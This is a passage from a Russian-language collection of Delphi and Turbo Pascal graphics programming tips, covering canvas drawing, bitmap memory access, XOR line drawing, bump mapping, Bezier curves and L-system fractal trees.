Комментарии :
Функция рисует тень сложной формы на форме Form2.
Для определения формы тени используется регион ShadeRgn, который был создан где-то раньше (например в OnCreate). Относительно регионов см. Win32 API.

Титов Игорь Евгеньевич
infos@obninsk.ru


Как рисовать на компоненте, если свойство Canvas недоступно?

У всех компонентов, порожденных от TCustomControl, имеется свойство Canvas типа TCanvas.
Если свойство Canvas недоступно, Вы можете достучаться до него созданием потомка и переносом этого свойства в раздел Public.

{ Example. We recommend You to create this component through Component Wizard.
In Delphi 1 it can be found as 'File|New Component...', and can be found
as 'Component|New Component...' in Delphi 2 or above. }
type
  TcPanel = class(TPanel)
  public
    property Canvas;
  end;

Akzhan Abdulin
(2:5040/55)

Если у объекта нет свойства Canvas (у TDBEdit, вpоде-бы нет), по кpайней меpе в D3 можно использовать класс TControlCanvas. Пpимеpное использование:
var cc: TControlCanvas;
...
cc := TControlCanvas.Create;
cc.Control := youControl;
...
и далее как обычно можно использовать методы Canvas.

Andrew Velikoredchanin
(2:5026/29.3)


Работа с изображением в памяти

Вот кусок одного моего класса, в котором есть две интересные вещицы -
проецирование файлов в память и работа с битмэпом в памяти через указатель.

type
   TarrRGBTriple=array[byte] of TRGBTriple;
   ParrRGBTriple=^TarrRGBTriple;

{организует битмэп размером SX,SY;true_color}
procedure TMBitmap.Allocate(SX,SY:integer);
var DC:HDC;
begin
  if BM<>0 then DeleteObject(BM);   {удаляем старый битмэп, если был}
  BM:=0;  PB:=nil;
  fillchar(BI,sizeof(BI),0);
  with BI.bmiHeader do        {заполняем структуру с параметрами битмэпа}
  begin
    biSize:=sizeof(BI.bmiHeader);
    biWidth:=SX;  biHeight:=SY;
    biPlanes:=1;  biBitCount:=24;
    biCompression:=BI_RGB;
    biSizeImage:=0;
    biXPelsPerMeter:=0;  biYPelsPerMeter:=0;

    biClrUsed:=0;        biClrImportant:=0;

    FLineSize:=(biWidth+1)*3 and (-1 shl 2); {размер строки(кратна 4 байтам)}

    if (biWidth or biHeight)<>0 then
     begin
       DC:=CreateDC('DISPLAY',nil,nil,nil);
{замечательная функция (см.HELP), возвращает HBITMAP, позволяет сразу разместить выделяемый битмэп в спроецированном файле,
что позволяет ускорять работу и экономить память при генерировании большого битмэпа}
      BM:=CreateDIBSection(DC,BI, DIB_RGB_COLORS, pointer(PB), nil, 0);

       DeleteDC(DC);  {в PB получаем указатель на битмэп-----^^}
       if BM=0 then Error('error creating DIB');
     end;
  end;
end;

{эта процедура загружает из файла true-color'ный битмэп}
procedure TMBitmap.LoadFromFile(const FileName:string);
var HF:integer; {file handle}
    HM:THandle; {file-mapping handle}
    PF:pchar;   {pointer to file view in memory}
    i,j:integer;
    Ofs:integer;
begin
{открываем файл}
  HF:=FileOpen(FileName,fmOpenRead or fmShareDenyWrite);

  if HF<0 then Error('open file '''+FileName+'''');
  try
{создаем объект-проецируемый файл}
    HM:=CreateFileMapping(HF,nil,PAGE_READONLY,0,0,nil);
    if HM=0 then Error('cannot create file mapping');
   try
{собственно проецируем объект в адресное }
       PF:=MapViewOfFile(HM,FILE_MAP_READ,0,0,0);
{получаем указатель на область памяти, в которую спроецирован файл}
       if PF=nil then Error('cannot create map view of file');
      try
{работаем с файлом как с областью памяти через указатель PF}

         if PBitmapFileHeader(PF)^.bfType<>$4D42 then  Error('file format');
         Ofs:=PBitmapFileHeader(PF)^.bfOffBits;
         with PBitmapInfo(PF+sizeof(TBitmapFileHeader))^.bmiHeader do
         begin
           if (biSize<>40) or (biPlanes<>1) then Error('file format');
           if (biCompression<>BI_RGB) or
              (biBitCount<>24) then Error('only true-color BMP supported');
{выделяем память под битмэп}
           Allocate(biWidth,biHeight);
         end;

         for j:=0 to BI.bmiHeader.biHeight-1 do
           for i:=0 to BI.bmiHeader.biWidth-1 do
{Pixels - это property, возвр. указатель на соотв. RGBTriple в битмэпе}
              Pixels[i,j]^.Tr:=ParrRGBTriple(PF+j*FLineSize+Ofs)^[i];
      finally
        UnmapViewOfFile(PF);
      end;
   finally
     CloseHandle(HM);
   end;
  finally
    FileClose(HF);
  end;
end;

{эта функция - реализация Pixels read}
function TMBitmap.GetPixel(X,Y:integer):PRGB;

begin
  if (X>=0) and (Xand
     (Y>=0) and (Ythen Result:=PRGB(PB+(Y)*FLineSize+X*3)
  else Result:=PRGB(PB);
end;

Если у вас на форме есть компонент TImage, то можно сделать так:

var BMP:TMBitmap;
    B:TBitmap;
...
    BMP.LoadFromFile(..);
    B:=TBitmap.Create;
    B.Handle:=BMP.Handle;
    Image1.Picture.Bitmap:=B;

и загруженный битмэп появится на экране.

Alexander Burnashov
E-mail alex@arta.spb.su
(2:5030/254.36)


Как быстро выводить графику?

Как быстро выводить графику (a то Canvas очень медленно работает)

Вот пример заполнения формы точками случайного цвета:

type
  TRGB = record
    b, g, r: byte;
  end;
  ARGB = array[0..1] of TRGB;
  PARGB = ^ARGB;

var
  b: TBitMap;

procedure TForm1.FormCreate(sender: TObject);
begin
  b := TBitMap.Create;
  b.pixelformat := pf24bit;
  b.width := Clientwidth;
  b.height := Clientheight;
end;

procedure TForm1.Tim1OnTimer(sender: TObject);
var
  p: PARGB;
  x, y: integer;
begin
  for y := 0 to b.height - 1 do
  begin
    p := b.scanline[y];
    for x := 0 to b.width - 1 do
    begin
      p[x].r := random(256);
      p[x].g := random(256);
      p[x].b := random(256);
    end;
  end;
  canvas.draw(0, 0, b);
end;

procedure TForm1.FormDestroy(sender: TObject);
begin
  b.free;
end;

Взято с http://delphiworld.narod.ru


Вывод текста на канве картинки

При использовании BitBtn Caption(текст) и картинка(bitmap) из файла не видны одновременно. Почему?

Это может происходить если картинка слишком велика. Класс TBitBtn сначала рисует картинку, а затем выводит текст над, под, слева или справа от картинки (в завивимости от свойства Layout). Если размер картинки такой же как у всей кнопки для вывода текста просто не остается места. Если Вам нужно получить кнопку такого же размера как Ваша картинка и видеть при этом надпись на кнопке Вам придется выводить текст надписи непосредственно на канву картинки.

var
  bm : TBitmap;
  OldBkMode : integer;
begin
  bm := TBitmap.Create;
  bm.Width := BitBtn1.Glyph.Width;
  bm.Height := BitBtn1.Glyph.Height;
  bm.Canvas.Draw(0, 0, BitBtn1.Glyph);
  OldBkMode := SetBkMode(bm.Canvas.Handle, Transparent);
  bm.Canvas.TextOut(0, 0, 'The Caption');
  SetBkMode(bm.Canvas.Handle, OldBkMode);
  BitBtn1.Glyph.Assign(bm);
end;

Взято с http://delphiworld.narod.ru


TCanvas и освобождение дескрипторов

TCanvas автоматически ReleaseDC не вызывает. При создании холста с WindowDC в качестве дескриптора, лучшей идеей будет создание потомка TCanvas (моделированного с TControlCanvas):

type
  TWindowCanvas = class(TCanvas)
  private
    FWinControl: TWinControl;
    FDeviceContext: HDC;
    procedure SetWinControl(AControl: TWinControl);
  protected
    procedure CreateHandle; override;
  public
    destructor Destroy; override;
    procedure FreeHandle;
    property WinControl: TWinControl read FWinControl write SetWinControl;
  end;

implementation

destructor TWindowCanvas.Destroy;
begin
  FreeHandle;
  inherited Destroy;
end;

procedure TWindowCanvas.CreateHandle;
begin
  if FControl = nil then
    inherited CreateHandle
  else
  begin
    if FDeviceContext = 0 then
      FDeviceContext := GetWindowDC(WinControl.Handle);
    Handle := FDeviceContext;
  end;
end;

procedure TControlCanvas.FreeHandle;
begin
  if FDeviceContext <> 0 then
  begin
    Handle := 0;
    ReleaseDC(WinControl.Handle, FDeviceContext);
    FDeviceContext := 0;
  end;
end;

procedure TControlCanvas.SetWinControl(AControl: TWinControl);
begin
  if FWinControl <> AControl then
  begin
    FreeHandle;
    FWinControl := AControl;
  end;
end;

Очевидно, вы должны должны следить за ситуацией, и разрушать TWindowCanvas (или освобождать дескриптор) перед тем, как уничтожить элемент управления, связанный с ним. Также, имейте в виду, что дескриптор DeviceContext не освобождается автоматически после обработки каждого сообщения (как это происходит с дескрипторами TControlCanvas); для освобождения дескриптора вы должны явно вызвать FreeHandle (или разрушить Canvas). И, наконец, имейте в виду, что "WindowCanvas.Handle:= 0" не освобождает десктиптор, для его освобождения вы должны вызывать FreeHandle.

Взято с http://delphiworld.narod.ru


Как поместить прозрачный текст на Canvas TBitmap

Автор: Олег Кулабухов

procedure TForm1.Button1Click(Sender: TObject);
var
  OldBkMode: integer;
begin
  Image1.Picture.Bitmap.Canvas.Font.Color := clBlue;
  OldBkMode := SetBkMode(Image1.Picture.Bitmap.Canvas.Handle, TRANSPARENT);
  Image1.Picture.Bitmap.Canvas.TextOut(10, 10, 'Hello');
  SetBkMode(Image1.Picture.Bitmap.Canvas.Handle, OldBkMode);
end;

Взято с http://delphiworld.narod.ru


Убрать зазубринки при рисовании линий

При рисовании линии, особенно под маленьким углом, хорошо различимы отдельные точки. Для устранения этого недостатка я использую уменьшение изображения.

procedure TForm1.Button1Click(Sender: TObject);
var
  x, y: integer;
  i, j: integer;
  r, g, b: integer;
begin
  Form1.Canvas.Pen.Width := 10;
  Form1.Canvas.MoveTo(10, 10);
  Form1.Canvas.LineTo(90, 20);
  for y := 0 to 10 do begin
    for x := 0 to 25 do begin
      r := 0;
      for i := 0 to 3 do
        for j := 0 to 3 do

          r := r + GetRValue(Form1.Canvas.Pixels[4*x+i, 4*y+j]);
      r := round(r / 16);
      g := 0;
      for i := 0 to 3 do
        for j := 0 to 3 do
          g := g + GetGValue(Form1.Canvas.Pixels[4*x+i, 4*y+j]);
      g := round(g / 16);
      b := 0;
      for i := 0 to 3 do
        for j := 0 to 3 do
          b := b + GetBValue(Form1.Canvas.Pixels[4*x+i, 4*y+j]);

      b := round(b / 16);
      Form1.Canvas.Pixels[x,y+50] := RGB(r, g, b)
    end;
    Application.ProcessMessages;
  end;
end;
Автор советов: Даниил Карапетян
e-mail: delphi4all@narod.ru

Автор справки: Алексей Денисов
e-mail: aleksey@sch103.krasnoyarsk.su


Перемещать объект на сложном фоне

Написать графический редактор, как Paint Brush, в Delphi очень просто. Но встает одна проблема. Чтобы нарисовать линию, пользователь нажимает мышью на поле, двигает ее, и отпускает кнопку. Во время движения мыши линия все время перерисовывается. Причем фон, после того, как линия переместилась, должен восстановиться. Для этого можно использовать логическую операцию XOR. Важное свойство этой операции заключается в том, что при любых A и B, A XOR B XOR B = A. Это означает, что если воспользоваться этой операцией для рисования линии, то при повторном ее рисовании на этом месте этим же цветом она сотрется, оставив за собой прежний фон.

procedure TForm1.XORLine;
begin
  Form1.Canvas.MoveTo(xo, yo);
  Form1.Canvas.LineTo(lx, ly);
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
  Form1.Color := clWhite;
  Form1.Canvas.Pen.Color := clRed;
  Form1.Canvas.Pen.Width := 3;
end;

procedure TForm1.FormMouseDown(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
begin
  Form1.Tag := 1;
  xo := X;
  yo := Y;
  lx := X;
  ly := Y;
  Form1.Canvas.Pen.Mode := pmNotXor;
  XORLine;
end;

procedure TForm1.FormMouseMove(Sender: TObject; Shift: TShiftState; X,
Y: Integer);
begin
  if ssLeft in Shift then
  begin
    XORLine;
    lx := X;
    ly := Y;
    XORLine;
  end;
end;

procedure TForm1.FormMouseUp(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
begin
  Form1.Canvas.Pen.Mode := pmCopy;
  Form1.Canvas.MoveTo(xo, yo);
  Form1.Canvas.LineTo(X, Y);
end;

Взято с http://delphiworld.narod.ru


Карта высот картинки

{
 вы знаете что такое карта высот?
 можно создать супер эффект  на простом Canvas
 к сожалению мой код моргает при перерисовке,
 но вы уж поковыряйтесь.... :)
}

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  ExtCtrls, StdCtrls, ExtDlgs, math, ComCtrls, ShellApi;

type
  TForm1 = class(TForm)
    Image1: TImage;
    OpenDialog1: TOpenDialog;
    Timer1: TTimer;
    PageControl1: TPageControl;
    Specular: TTabSheet;
    sRed: TEdit;
    Label1: TLabel;
    ScrollBar1: TScrollBar;
    Label2: TLabel;
    sGreen: TEdit;
    ScrollBar2: TScrollBar;
    ScrollBar3: TScrollBar;
    sBlue: TEdit;
    Label3: TLabel;
    Label4: TLabel;
    Edit1: TEdit;
    ScrollBar4: TScrollBar;
    Diffuse: TTabSheet;
    Ambient: TTabSheet;
    Label5: TLabel;
    Label6: TLabel;
    Label7: TLabel;
    dGreen: TEdit;
    dBlue: TEdit;
    dRed: TEdit;
    ScrollBar5: TScrollBar;
    ScrollBar6: TScrollBar;
    ScrollBar7: TScrollBar;
    Label8: TLabel;
    Label9: TLabel;
    Label10: TLabel;
    aBlue: TEdit;
    aGreen: TEdit;
    aRed: TEdit;
    ScrollBar8: TScrollBar;
    ScrollBar9: TScrollBar;
    ScrollBar10: TScrollBar;
    Label11: TLabel;
    Label12: TLabel;
    Edit2: TEdit;
    Label13: TLabel;
    procedure FormCreate(Sender: TObject);
    procedure Image1MouseMove(Sender: TObject; Shift: TShiftState; X,
      Y: Integer);
    procedure ScrollBarChange(Sender: TObject);
    procedure Label11Click(Sender: TObject);
    procedure Timer1Timer(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

type
  normal = record
    x: integer;
    y: integer;
  end;

type
  rgb32 = record
    b: byte;
    g: byte;
    r: byte;
    t: byte;
  end;
type
  rgb24 = record
    r: integer;
    g: integer;
    b: integer;
  end;

var
  Form1: TForm1;
  bumpimage: tbitmap;
  current_X, Current_Y: integer;
var
  Bump_Map: array[0..255, 0..255] of normal;
  Environment_map: array[0..255, 0..255] of integer;
  Palette: array[0..256] of rgb24;

implementation

{$R *.DFM}

procedure TForm1.FormCreate(Sender: TObject);
type
  image_array = array[0..255, 0..255] of byte;
var
  x, y: integer;
  Buffer: image_array;
  bump_file: file of image_array;
  ny2, nx, nz: double;
  c: integer;
  ca, cap: double;
begin
  assignfile(bump_File, 'bump.raw');
  reset(Bump_File);
  Read(Bump_File, buffer);
  for y := 1 to 254 do
  begin
    for x := 1 to 254 do
    begin
      Bump_Map[x, y].x := buffer[y + 1, x] - buffer[y + 1, x + 2];
      bump_map[x, y].y := buffer[y, x + 1] - buffer[y + 2, x + 1];
    end;
  end;
  closefile(bump_File);

  for y := -128 to 127 do
  begin
    nY2 := y / 128;
    nY2 := nY2 * nY2;
    for X := -128 to 127 do
    begin
      nX := X / 128;
      nz := 1 - SQRT(nX * nX + nY2);
      c := trunc(nz * 255);
      if c < = 0 then
        c := 0;
      Environment_Map[x + 128, y + 128] := c;
    end;
  end;

  nx := pi / 2;
  ny2 := nx / 256;
  for y := 0 to 255 do
  begin
    ca := cos(nx);
    cap := power(ca, 35);
    nx := nx - ny2;
    palette[y].r := trunc((128 * ca) + (235 * cap));
    if palette[y].r > 255 then
      palette[y].r := 255;
    palette[y].G := trunc((128 * ca) + (245 * cap));
    if palette[y].g > 255 then
      palette[y].g := 255;
    palette[y].B := trunc(5 + (170 * ca) + (255 * cap));
    ;
    if palette[y].b > 255 then
      palette[y].b := 255;
  end;
  bumpimage := TBitmap.create;
  bumpimage.width := 255;
  bumpimage.height := 255;
  bumpimage.PixelFormat := pf32bit;
  Image1.Picture.Bitmap := bumpimage;
  image1mousemove(self, [], 128, 128);
  application.ProcessMessages;

end;

procedure TForm1.Image1MouseMove(Sender: TObject; Shift: TShiftState; X,
  Y: Integer);
begin
  Current_X := x;
  Current_Y := y;
end;

procedure TForm1.Timer1Timer(Sender: TObject);
var
  x, y, x2, y2, y3: integer;
  Scan: ^Scanline;
  bx, by: longint;
  c: byte;
begin
  x := Current_X;
  y := Current_Y;
  for y2 := 0 to 253 do
  begin
    scan := image1.Picture.Bitmap.ScanLine[y2];
    y3 := 128 + y2 - y;
    for x2 := 0 to 253 do
    begin
      bx := bump_Map[x2, y2].x + 128 + x2 - x;
      by := bump_Map[x2, y2].y + y3;
      if (bx < 255) and (bx > 0) and (by < 255) and (by > 0) then
      begin
        c := Environment_Map[bx, by];
        scan^[x2].r := palette[c].r;
        scan^[x2].g := palette[c].g;
        scan^[x2].b := palette[c].b;
      end
      else
      begin
        scan^[x2].r := palette[0].r;
        scan^[x2].g := palette[0].g;
        scan^[x2].b := palette[0].b;
      end;
      {image1.Canvas.Pixels[x,y] := rgb(r,g,b);}
    end;
  end;
  image1.Refresh;

end;

procedure TForm1.ScrollBarChange(Sender: TObject);
var
  ny2, nx: double;
  c: integer;
  ca, cap: double;
begin
  sRed.Text := inttostr(scrollbar1.position);
  sGreen.Text := inttostr(scrollbar2.position);
  sBlue.Text := inttostr(scrollbar3.position);
  edit1.Text := inttostr(scrollbar4.position);

  dRed.Text := inttostr(scrollbar5.position);
  dGreen.Text := inttostr(scrollbar6.position);
  dBlue.Text := inttostr(scrollbar7.position);

  aRed.Text := inttostr(scrollbar8.position);
  aGreen.Text := inttostr(scrollbar9.position);
  aBlue.Text := inttostr(scrollbar10.position);

  nx := pi / 2;
  ny2 := nx / 256;
  for C := 0 to 255 do
  begin
    ca := cos(nx);
    cap := power(ca, scrollbar4.position);
    nx := nx - ny2;
    palette[c].r := trunc(scrollbar8.position + (scrollbar5.position * ca) +
      (scrollbar1.position * cap));
    if palette[c].r > 255 then
      palette[c].r := 255;
    palette[c].G := trunc(scrollbar9.position + (scrollbar6.position * ca) +
      (scrollbar2.position * cap));
    if palette[c].g > 255 then
      palette[c].g := 255;
    palette[c].B := trunc(scrollbar10.position + (scrollbar7.position * ca) +
      (scrollbar3.position * cap));
    ;
    if palette[c].b > 255 then
      palette[c].b := 255;
  end;
  image1mousemove(self, [], Current_X, Current_Y);
  application.ProcessMessages;

end;

procedure TForm1.Label11Click(Sender: TObject);
begin
  ShellExecute(handle, 'open', 'http://wkweb5.cableinet.co.uk/daniel.davies/',
    nil, nil, SW_SHOWNORMAL);
end;

end.

Взято с http://delphiworld.narod.ru


Затенить компонент

procedure ShadeIt(f: TForm; c: TControl; Width: Integer; Color: TColor);
var
  rect: TRect;
  old: TColor;
begin
  if (c.Visible) then
  begin
    rect := c.BoundsRect;
    rect.Left := rect.Left + Width;
    rect.Top := rect.Top + Width;
    rect.Right := rect.Right + Width;
    rect.Bottom := rect.Bottom + Width;
    old := f.Canvas.Brush.Color;
    f.Canvas.Brush.Color := Color;
    f.Canvas.fillrect(rect);
    f.Canvas.Brush.Color := old;
  end;
end;

procedure TForm1.FormPaint(Sender: TObject);
var
  i: Integer;
begin
  for i := 0 to Self.ControlCount - 1 do
    ShadeIt(Self, Self.Controls[i], 3, clBlack);
end;

Взято с http://delphiworld.narod.ru


Рисование без мерцания

Автор: Mike Scott

...вот я и удивляюсь - почему я получаю мерцание, если я вызываю Repaint или Refresh, а не метод OnPaint напрямую? Или это просто "вариация на тему"?

Имеются две фазы обновления окна. В первой фазе, при выводе окна, Windows посылает ему сообщение WM_ERASEBKGND, сообщающее о необходимости стирания фона перед процедурой рисования. Затем посылается сообщение WM_PAINT, служащее сигналом для закрашивания "переднего плана".

Тем не менее, вы можете пропустить первую фазу, которая вызывает мерцание, одним из двух способов: первый способ заключается в том, что вы форсируете обновление сами, с помощью вызова функции Windows API InvalidateRect. На входе он получает дескриптор окна, указатель на закрашиваемую область - передаем NIL, если вы хотите отрисовать всю область окна - и третий параметр, сообщающий о необходимости очистки фона. Вот как раз последний параметр и должен содержать значение FALSE, если вы сами будете в методе Paint полностью отрисовывать всю область:

InvalidateRect( Handle, NIL, FALSE ) ;

Handle должен быть дескриптором формы или элемента управления.

Описав первый способ, я скажу, что существует другое подходящее решение - использовать функциональность VCL. Вы можете указать VCL не стирать фон, добавляя [ csOpaque ] к значению свойства ControlStyle, как показано ниже:

ControlStyle := ControlStyle + [ csOpaque ] ;

Это ограничивает заполнение заднего фона, но вы все еще можете видеть процесс "наполнения" области изображением, т.е. процесс рисования. В этом случае вы можете отделаться от эффекта мельтешения, рисуя на TBitmap и выводя его затем на экран командой CopyRect.

Если вы хотите углубиться в тему дальше, то я отошлю вас к моей статье "Optimizing Display Updates in Delphi" (Оптимизация обновления экрана в Delphi), опубликованной в первом выпуске журнала "Delphi magazine".

Взято с http://delphiworld.narod.ru


Рисование графов

...вы могли бы использовать объект TCanvas, чем рисовать самому. В вашем случае сгодится компонент TImage, он имеет bitmap и свойство canvas, на котором очень удобно рисовать.

Пример: (Создайте новую форму, добавьте к ней Image и Button. Добавьте следующий код к обработчику события нажатия кнопки)

var
  x, l: Integer;
  y, a: Double;
begin
  Image1.Picture.Bitmap := TBitmap.Create;
  Image1.Picture.Bitmap.Width := Image1.Width;
  Image1.Picture.Bitmap.Height := Image1.Height; {Эти три строчки могут быть
  размещены в обработчике Form1.Create}
  l := Image1.Picture.Bitmap.Width;
  for x := 0 to l do
  begin
    a := (x / l) * 2 * Pi; {Преобразуем позицию по оси X к углу между 0 & 2Pi}
    y := Sin(a); {Ваша функция должна находиться здесь}
    y := y * (Image1.Picture.Bitmap.Height / 2); {Масштабируем по оси Y}
    y := y * -1; {Инвертируем Y, верх экрана это 0 !}
    y := y + (Image1.Picture.Bitmap.Height / 2);
      {Добавляем компенсацию для среднего 0}
    Image1.Picture.Bitmap.Canvas.Pixels[Trunc(x), Trunc(y)] := clBlack;
  end;
end;

Я обнаружил, что лучшим решением будет рисование на холсте. Предпочтительно делать это в отдельной процедуре, которая принимает в качестве параметров TCanvas и TRect. Таким способом мы может передать в качестве параметров холст вашего окна и клиентскую область для рисования на экране, и холст принтера и область клиента для ее позиционирования и печати. Чтобы посмотреть доступные для рисования подпрограммы, взгляните на методы холста.

Взято с http://delphiworld.narod.ru


Рисование КРИВЫХ в Delphi

Автор: Dmitry Streblechenko

У кого-нибудь есть исходный код или какая-либо информация для рисования кривых Безье? Я должен использовать их в своем компоненте.

Я делал это недавно; мне было лениво разбираться с тем, как рисовать кривые Безье с помощью Win API, поэтому я использовал функцию Polyline().

Примечание: для координатных точек я использовал реальные величины типа floating (я применял некоторый тип виртуального экрана), округляя их до целого.

PBezierPoint = ^TBezierPoint;
TBezierPoint = record
  X, Y: double;   // основной узел
  Xl, Yl: double; // левая контрольная точка
  Xr, Yr: double; // правая контрольная точка
end;

// P1 и P2 - две точки TBezierPoint, расположенные между 0 и 1:
// когда t=0 X=P1.X, Y=P1.Y; когда t=1 X=P2.X, Y=P2.Y;

procedure BezierValue(P1, P2: TBezierPoint; t: double; var X, Y: double);
var
  t_sq, t_cb, r1, r2, r3, r4: double;
begin
  t_sq := t * t;
  t_cb := t * t_sq;
  r1 := (1 - 3 * t + 3 * t_sq - t_cb) * P1.X;
  r2 := (3 * t - 6 * t_sq + 3 * t_cb) * P1.Xr;
  r3 := (3 * t_sq - 3 * t_cb) * P2.Xl;
  r4 := (t_cb) * P2.X;
  X := r1 + r2 + r3 + r4;
  r1 := (1 - 3 * t + 3 * t_sq - t_cb) * P1.Y;
  r2 := (3 * t - 6 * t_sq + 3 * t_cb) * P1.Yr;
  r3 := (3 * t_sq - 3 * t_cb) * P2.Yl;
  r4 := (t_cb) * P2.Y;
  Y := r1 + r2 + r3 + r4;
end;

Для рисования кривой Безье разделяем интервал между P1 и P2 на несколько отрезков (их количество влияет на точность воспроизведения кривой, 3 - 4 точки вполне достаточно), затем в цикле создаем массив точек, используем описанную выше процедуру с параметром t от 0 до 1 и рисуем данный массив точек, используя функцию polyline().

Взято с http://delphiworld.narod.ru


Рисование фрактальных графов

Автор: Михаил Марковский

...Очередная нетленка, которую я предлагаю Вам, написана мной самостоятельно (идею и примеры, реализованные в программе, я нашел в апрельском номере журнала "Химия и жизнь" за 1995 год). Теоретически она производит трансляцию L-систем с выводом образовавшихся фрактальных графов, а практически рисует кусты и деревья. Вроде бесполезно, но очень красиво. Эта программа написана для TP7, хотя легко переносится на Delphi (как то я уже переводил ее, но модуль бесследно исчез). Буду надеяться, что она придется Вам по душе.

uses graph, crt;

const
  GrafType = 1; {1..3}

type
  PointPtr = ^Point;
  Point = record
    X, Y: Word;
    Angle: Real;
    Next: PointPtr
  end;
  GrfLine = array[0..5000] of
    Byte;
  ChangeType = array[1..30] of
    record
    Mean: Char;
    NewString: string
  end;

var
  K, T, Dx, Dy, StepLength, GrafLength: Word;
  grDriver, Xt: Integer;
  grMode: Integer;
  ErrCode: Integer;
  CurPosition: Point;
  Descript: GrfLine;
  StartLine: string absolute Descript;
  ChangeNumber, Generation: Byte;
  Changes: ChangeType;
  AngleStep: Real;
  Mem: Pointer;

procedure Replace(var Stroka: GrfLine;
  OldChar: Char;
  Repl: string);
var
  I, J: Word;
begin
  if (GrafLength = 0) or (Length(Repl) = 0) then
    Exit;
  I := 1;
  while I <= GrafLength do
  begin
    if Chr(Stroka[I]) = OldChar then
    begin
      for J := GrafLength downto I + 1 do
        Stroka[J + Length(Repl) - 1] := Stroka[J];
      for J := 1 to Length(Repl) do
        Stroka[I + J - 1] := Ord(Repl[J]);
      I := I + J;
      GrafLength := GrafLength + Length(Repl) - 1;
      continue
    end;
    I := I + 1
  end
end;

procedure PushCoord(var Ptr: PointPtr;

  C: Point);
var

  P: PointPtr;
begin

  New(P);
  P^.X := C.X;
  P^.Y := C.Y;
  P^.Angle := C.Angle;
  P^.Next := Ptr;
  Ptr := P
end;

procedure PopCoord(var Ptr: PointPtr;

  var Res: Point);
begin

  if Ptr <> nil then
  begin
    Res.X := Ptr^.X;
    Res.Y := Ptr^.Y;
    Res.Angle := Ptr^.Angle;
    Ptr := Ptr^.Next
  end
end;

procedure FindGrafCoord(var Dx, Dy: Word;

  Angle: Real;
  StepLength: Word);
begin

  Dx := Round(Sin(Angle) * StepLength * GetMaxX / GetMaxY);
  Dy := Round(-Cos(Angle) * StepLength);
end;

procedure NewAngle(Way: ShortInt;

  var Angle: Real;
  AngleStep: Real);
begin

  if Way >= 0 then
    Angle := Angle + AngleStep
  else
    Angle := Angle - AngleStep;
  if Angle >= 4 * Pi then
    Angle := Angle - 4 * Pi;
  if Angle < 0 then
    Angle := 4 * Pi + Angle
end;

procedure Rost(var Descr: GrfLine;

  Cn: Byte;
  Ch: ChangeType);
var
  I: Byte;
begin

  for I := 1 to Cn do
    Replace(Descr, Ch[I].Mean, Ch[I].NewString);
end;

procedure Init1;
begin

  AngleStep := Pi / 8;
  StepLength := 7;
  Generation := 4;
  ChangeNumber := 1;
  CurPosition.Next := nil;
  StartLine := 'F';
  GrafLength := Length(StartLine);
  with Changes[1] do
  begin
    Mean := 'F';
    NewString := 'FF+[+F-F-F]-[-F+F+F]'
  end;
end;

procedure Init2;
begin

  AngleStep := Pi / 4;
  StepLength := 3;
  Generation := 5;
  ChangeNumber := 2;
  CurPosition.Next := nil;
  StartLine := 'G';
  GrafLength := Length(StartLine);
  with Changes[1] do
  begin
    Mean := 'G';
    NewString := 'GFX[+G][-G]'
  end;
  with Changes[2] do
  begin
    Mean := 'X';
    NewString := 'X[-FFF][+FFF]FX'
  end;
end;

procedure Init3;
begin

  AngleStep := Pi / 10;
  StepLength := 9;
  Generation := 5;
  ChangeNumber := 5;
  CurPosition.Next := nil;
  StartLine := 'SLFF';
  GrafLength := Length(StartLine);
  with Changes[1] do
  begin
    Mean := 'S';
    NewString := '[+++G][---G]TS'
  end;
  with Changes[2] do
  begin
    Mean := 'G';
    NewString := '+H[-G]L'
  end;
  with Changes[3] do
  begin
    Mean := 'H';
    NewString := '-G[+H]L'
  end;
  with Changes[4] do
  begin
    Mean := 'T';
    NewString := 'TL'
  end;
  with Changes[5] do
  begin
    Mean := 'L';
    NewString := '[-FFF][+FFF]F'
  end;
end;

begin

  case GrafType of
    1: Init1;
    2: Init2;
    3: Init3;
  else
  end;
  grDriver := detect;
  InitGraph(grDriver, grMode, '');
  ErrCode := GraphResult;
  if ErrCode <> grOk then
  begin
    WriteLn('Graphics error:', GraphErrorMsg(ErrCode));
    Halt(1)
  end;
  with CurPosition do
  begin
    X := GetMaxX div 2;
    Y := GetMaxY;
    Angle := 0;
    MoveTo(X, Y)
  end;
  SetColor(white);
  for K := 1 to Generation do
  begin
    Rost(Descript, ChangeNumber, Changes);
    Mark(Mem);
    for T := 1 to GrafLength do
    begin
      case Chr(Descript[T]) of
        'F':
          begin
            FindGrafCoord(Dx, Dy, CurPosition.Angle, StepLength);
            with CurPosition do
            begin
              Xt := X + Dx;
              if Xt < 0 then
                X := 0
              else
                X := Xt;
              if X > GetMaxX then
                X := GetMaxX;
              Xt := Y + Dy;
              if Xt < 0 then
                Y := 0
              else
                Y := Xt;
              if Y > GetMaxY then
                Y := GetMaxY;
              LineTo(X, Y)
            end
          end;
        'f':
          begin
            FindGrafCoord(Dx, Dy, CurPosition.Angle, StepLength);
            with CurPosition do
            begin
              Xt := X + Dx;
              if Xt < 0 then
                X := 0
              else
                X := Xt;
              if X > GetMaxX then
                X := GetMaxX;
              Xt := Y + Dy;
              if Xt < 0 then
                Y := 0
              else
                Y := Xt;
              if Y > GetMaxY then
                Y := GetMaxY;
              MoveTo(X, Y)
            end
          end;
        '+': NewAngle(1, CurPosition.Angle, AngleStep);
        '-': NewAngle(-1, CurPosition.Angle, AngleStep);
        'I': NewAngle(1, CurPosition.Angle, 2 * Pi);
        '[': PushCoord(CurPosition.Next, CurPosition);
        ']':
          begin
            PopCoord(CurPosition.Next, CurPosition);
            with CurPosition do
              MoveTo(X, Y)
          end
      end
    end;
    Dispose(Mem);
    Delay(1000)
  end;
  repeat
  until KeyPressed;
  CloseGraph
end.

Взято с http://delphiworld.narod.ru


Двигаем крестик для показа значений X/Y

// TPanel, TImage e TLabel components
// Insert Image into Panel...

private
   BmpH, BmpV : TBitmap;
   OldX, OldY: Integer;
end;

var
  RectSaved : boolean = false;

procedure TFormMain.FormCreate(Sender: TObject);
begin
  PanelImage.DoubleBuffered := true; // This prevents that the image is blinking
  LabelHint.Transparent := true;
  LabelHint.Font.Color := clNave;
end;

